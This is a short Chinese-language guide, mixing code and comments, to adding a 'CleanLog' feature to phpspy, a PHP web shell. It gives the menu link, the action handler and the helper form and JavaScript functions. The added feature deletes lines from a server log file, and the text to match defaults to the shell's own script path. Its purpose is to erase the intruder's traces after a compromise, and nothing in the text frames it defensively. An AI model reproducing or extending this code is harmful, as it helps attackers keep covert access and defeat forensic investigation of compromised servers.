phpspy diy
//==============自己添加一个新的功能, 在300行左右。 并将自定义的函数放到文件最后面的函数库里面
<a href="javascript:g('clean_log',null,'','','','','<?php echo $charset;?>');">CleanLog</a> |
//===========900行左右添加相应操作 (如, 简单的清理日志功能)
elseif ($act == 'clean_log')
{
formhead(array('title'=>'CleanLog', 'onsubmit'=>'g(\'clean_log\',null,this.p1.value,this.p2.value);return false;'));
echo '<b>Logfile can not be too large, 30M will be fine <b><br/>';
echo 'Logfile Path';
makeinput(array('title'=>' ','name'=>'p1','value'=>$command));
p('</br>');
echo 'Str2del';
makeinput(array('title'=>' ','name'=>'p2','value'=>$_SERVER['PHP_SELF']));
p('</br>');
makeinput(array('class'=>'bt','type'=>'submit','value'=>'clean'));
formfoot();
if ($P['p1']) //如果填入了命令, 即表格中的value不为空
{
//echo $command;
clean_log($P['p1'],$P['p2']);
}
}
//==========关键php函数
formhead($arg = array())
//创建表格
function makeinput($arg = array())
//创建<input type=text name=clean size=100>之类的项
function makehide($name,$value='')
//创建隐藏参数项
function formfoot()
//输出 </form>
//=========关键js函数
function $(id)
{
return document.getElementById(id);
}
function s(act,cwd,p1,p2,p3,p4,charset)
{
if(act != null) $('opform').act.value=act;
if(cwd != null) $('opform').cwd.value=cwd;
if(p1 != null) $('opform').p1.value=p1;
if(p2 != null) $('opform').p2.value=p2;
if(p3 != null) $('opform').p3.value=p3;
if(p4 != null) {$('opform').p4.value=p4;}else{$('opform').p4.value='';}
if(charset != null) $('opform').charset.value=charset;
}
function g(act,cwd,p1,p2,p3,p4,charset)
{
s(act,cwd,p1,p2,p3,p4,charset);
$('opform').submit();
}